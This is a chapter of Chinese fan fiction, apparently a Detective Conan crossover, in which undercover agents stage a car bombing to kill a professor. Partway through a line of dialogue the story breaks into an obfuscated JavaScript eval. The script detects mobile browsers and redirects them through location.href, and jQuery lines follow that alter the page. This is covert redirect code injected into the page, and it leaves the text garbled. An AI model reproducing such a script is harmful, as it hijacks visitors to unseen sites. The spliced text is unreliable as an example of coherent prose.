12. toes

作品:《再造卧底

    东京,中城塔。


    晚上七点半的光景,东京似乎刚刚醒来,人间夜未眠。


    作为房价和物价是全世界最昂贵的地区之一,这里多的是豪华超高楼,安保措施是全国有名的严密,中城塔作为有名的高层建筑,防备只会更严密。


    安保朝高楼下的车库那边走去。


    在他身后,浓重的阴影里无声无息地匍匐着一个身影,轻巧地从监控死角逼近他预谋已久的一辆车。接着,他敲了敲车窗。等候在其中的司机并没有大剌剌开门,只是摇下窗户,一条缝——但这已经够了。“我想请您看看这个。”这位不速之客说,他的声调里仿佛掺杂一些不清不楚的东西,令人恍惚,头晕目眩——


    车门打开了。司机直愣愣地,双目无神地离开。前往洗手间时他又碰见安保,对方询问他的去向,得到答案后上下扫视他一眼,道你看起来确实不大清醒,你的雇主还要许久才会从应酬里脱身,不妨休息一下。都是打工人,难免共情;他关心了两句。


    司机木讷地点点头,走远了。


    “为什么这一次要协助百利甜,甚至是主动?”耳麦里的声音很好奇,“这是你们商量出来的时机?”


    “还不是你们动作太大。”摩闪反唇相讥,“FBI的动作太快了,这是你的节奏把控有问题;百利甜卖起你可没有心理负担,卖你像卖我一样轻松。”他先把自己逗乐了,“百利甜回去就告诉BOSS白鸠制药被FBI锁定,内部显然是有鬼。BOSS现在信他信的亲热,还不许我蹭口汤喝?”


    “只怕他就缺你这一道下酒菜。”


    假使百利甜真的是个纯粹的组织成员,那么他对于自己目标的漠不关心或许是一种了不起的天赋。但是对于他试图寻求的结果来说,是一种苛刻的天残,像是多年瘫痪才站起来,需要强大的意志力来复建他的肌群。


    简而言之,百利甜似乎不满足于仅仅做组织打入警视厅的一枚暗钉,而是想要两手抓,在组织内部树立自己的权威。作为计划的第一步,他向BOSS建言,FBI既然试图查明当年的真相,说明有人旧事重提。FBI究竟躲在这片土地上的何处,我们暂时并无头绪;或许他们一击脱离也未可知。但至少可以先对他们的情报来源加以截流。BOSS,我的意思是,曾经参与那场压迫白鸠制药,驱逐宫野厚司会议的与会人,该有人令他们闭嘴。


    在这里声明一下,百利甜自然不是在众人面前对BOSS提出这种意见,是私下、秘密、没准线上……whatever。谁管他俩是在地下室还是在芭比梦想豪宅,但或许应该庆幸,至少二位很有自觉这不是光彩的事,没有拿到台面上讲,也没把它当成下一阶段计划找人做PPT。


    我的意思是继摩闪把阿笠博士送出海外之后,波本似乎对此颇有微辞,也许是试图展现公安有足够保护国民的能力,一鼓作气,又开始压缩他本就少得可怜的睡眠时间,看了真叫人敬佩。他的努力卓有成效——抑或是时机卡的刚好。他经过调查锁定一名与会人员,对方答应与妻儿看过话剧就来赴约。


    ……请不要误会,后街没有持枪抢劫、崩裂的珍珠项链和就此诞生的白特曼。那个人没有赴约。并非是遭到了利诱或是威逼,不过是一场突如其来的大火吞没了剧院。这在某种程度上似乎证明了波本的情报及推理之准确,但可惜目标已然葬身火海,以至于一切都变成了无从论证的猜想,化作尘土——


    也连同当日学校组织观剧的一群学生一起。


    他们不会在百利甜的任务报告中被提起,假使有TV剧集的话也不会分镜头去讲述他们怎么用人的指甲在铁门上抠出肉眼可见的痕迹。这是“未被故事之神眷顾的时刻”,因此我们也不多做赘述。


    最后的最后,请允许我再多嘴一句:夺人性命却免于接受内心审判,毁人生活但不为之感到愧疚,见妇孺在面前乞生而不同情,并不是天赋异禀,而是患有道德淡漠这种不治之症的人的将死之兆。


    总之,波本以此作为结果倒推出了那场隐秘的对话的内容。他立即做出判断:


    必须阻止百利甜的下一步动作。


    摩闪坐入车内,他不会易容,看了后视镜觉得自己这张脸太打眼,关上灯。车内一片黑暗。与此同时,位于他头顶之上的宴会正到尽兴,带着手套的侍者布置菜肴,将折好的餐巾放在盘中;又划亮火柴点燃蜡烛。


    依照百利甜的计划,他今日就要了结另一名曾参与过驱逐会议表决的与会人。他将会在这次学术交流会中与这位老教授举行一场愉快的谈话,期间他将会以自己(人设中的)广博的生物医学知识博取老教授的好感,令他喝下超越其习惯分量的酒液,以至于不能认出自己的司机换人,更无从得知自己的车也被做了手脚,安装了超量的□□。车将会一路沿着跨海大桥回到他任职三十余年的大学,驶入地下车库,而后冒牌的司机会提醒教授下车,教授则会说令他再呆一会,醒醒酒就好。


    司机离开,汽车爆炸。连带着里面的人也尸骨无存。


    过了大约两个小时左右——不算慢——车门打开,关上了。摩闪闻到一股浓烈的酒气闯入他的鼻腔,默不作声,发动车子。


    汽车公路匆匆的和人行道相交高低不平的砖石妨碍汽车的前行。他们驶过港口、在那里瞥见许多二十世纪就存在的酒馆,那里停泊着无数巨轮。关门的电影院里透出苍白的光,天边是一片灰黑色的云雾。在漆黑的大海上灯塔顶闪耀着一星半点红光,群山的形态模糊不清。


    在——又半小时后。


    百利甜自宴会上脱身,中途走VVIP通道换衣服,坐电梯直通顶楼坐直升机一气呵成。东京还未大到需要设几个机场供社畜通勤的地步,他只是赶时间。落地目标人物所供职的大学后,他打开电子地图——说起来,这个大学有着他们自己的校内服务APP,由于校区过大,也有导航服务。他按照耳机里的电子音提醒穿行在校内被树林掩盖着的小道,一栋教学楼出现在面前。


    苍白的日光灯依旧照耀着中央空调吞吐着的冷空气,他站在门口深呼吸了一次,举步离开夜色。冰冷的气流顿时包裹了他的全身;电梯就在一进门的地方,摁下按钮,缆绳带着轿厢前来承载他。它来了,像一艘船停泊在港湾中,百利甜走入其中。1,2,3……他注视着楼层跳动,直到9楼。声控灯为欢迎这位访客而亮了起来。


    但他没有急着离开,而是多等了一会儿。没有声音,照明灯无声无息地熄灭了,墙壁褪下惨败的外衣被黑纱笼罩,温暖的电光步步退却,黑暗像涟漪般扩散。他一步一步,停止在走廊尽头。那里的门牌上新增一条:


    休息室(请勿随意打扰国际教授休息)


    他敲了敲门:“May Ie in?”


    “yes.”


    他的手伸向门把手。


    手机忽然震动。百利甜斟酌片刻,接起电话。一瞬间听筒里汽车鸣笛、引擎、人的呼喊声——他简直以为自己闻到了硝烟的味道——打碎了这易碎的宁静。“——摩闪?你在做什么?”百利甜有些恼怒地质问。


    “……一个好消息,一个坏消息,你准备听哪个?”


    摩闪的声音听起来断断续续的,相当狼狈;饶是如此,却还是一副云淡风轻的样子——美国人做派!百利甜完全看不惯,更懒得陪他玩:“给你十秒钟时间。”


    “好消息是咱俩的任务完


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293761|167043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成了炸弹爆炸了车也炸上天那个老头估计死的透透的坏消息是爆的地方不太对不过我不是甩锅给你按炸弹失误是路上我遭人狙了轮胎我赶在瞄准油箱的下一枪之前跑了但是那个老头没救了——”连珠炮般吐出长难句后摩闪深吸一口气,“呃,以及,我是在市区被狙的。也就是说车是当着全东京人面爆的,可壮观了——哇直升机吗那是?妈妈我又要上电视了——”


    百利甜绷着脸挂断电话,快走几步,扒着窗户望向此校园外直播新闻的大屏。摩闪没说错,新闻第一时间报道了这次爆炸,动静闹的全城都知道。这个家伙真是只会搅混水的混蛋!废物!他赌气着打开办公室的门。


    屋子里一片漆黑。刚才同意他进门的教授在休息吗?但是,他好像什么都看不见……灯在哪里?


    “成功了?”


    “当然。配合完美。”


    “……你还好吗摩闪?”


    “残废了,下半生得领低保过活了,警视厅是不是该负责啊苏格兰——”


    “我一直都能看见你。”


    “我开玩笑的其实我身体健康身体倍棒吃嘛嘛香。”


    “那太遗憾了。”


    “哇你们公安好——坏——”


    “我想那算为民除害。”


    “?莱伊你背叛我?我受不了了我要去铃木老头的马厩狠狠地抽你。”


    “……?”


    “噗。”


    “苏格兰笑的!是苏格兰!!”


    “……摩闪,你别忘了你就在莱伊隔壁。”


    “。刚才那句话我说了没有两分钟吧。我撤回。”


    天几乎被数道来自各方媒体、执法机构探究的光线照的大亮了。只有某些黄色卷曲的云顶闪现出的闪电,使漫漫黑夜充满了惶恐不安。无论何时,当摩闪的眼睛从闪烁的光线中恢复时,他的洞察力被这场盛大的人间好戏迅速进入高潮时刻所提高,宛如一头在黑夜里蹲伏着耐心等待,保持警惕,自由自在的野生动物,准备在人们转身离开的那刻一跃而起,跳进钢铁丛林。


    和同伙(同道伙伴怎么不是同伙)进行一番酣畅淋漓的垃圾话攻击的同时摩闪也在急速撤离现场。他可不想重蹈上一回皮斯克的覆辙,脸被放到新闻上然后吃琴酒的子弹菜花汤。那太白瞎我这张好脸。摩闪想——


    直到他字面意义上像头被车前灯照射的鹿(Deer in the headlights)一样被人捡到。他在路边站着,面前是那辆本该如报道般爆炸的车,整个人却忽然被灯照亮,连同他本人一起。有车自他身后来,却不只是简单的擦肩而过,而是慢慢滑到他身侧:


    一个男人摇下车窗,友好得体地向他打招呼:“先生?请问需要帮忙吗?看起来您是刚才新闻报道中的爆炸案附近的受害者之一,车似乎也报废了;我们真心地为您的不幸深表理解与同情,活着比什么都重要。请别误会,车上的是我的妻子和儿子。”


    摩闪慢慢地回头。


    他不知道自己此时是什么表情。但是,考虑到自己被认成幸存者,可能、大概,做出什么样的表情都会被理解……他觉得自己好像是生锈的发条玩偶,脖颈发出咯咯的声音。我不会真的被炸出什么好歹了吧,我一定要问苏格兰要赔偿——摩闪的眼睛聚焦了。


    驾驶座上的男性黑发,戴着眼镜,唇上蓄有胡须,气质温和有礼;副驾驶上的女性则一头茶色长卷发,有着天鹅绒的质感,黑色发光的大眼睛盯着摩闪看,含混却纯洁地笑了。后座上的孩子更是老熟人——


    我这什么运气。摩闪冷静地想。


    工藤优作,工藤有希子,工藤新一。


    你们仨工藤能不能消消乐消了得了。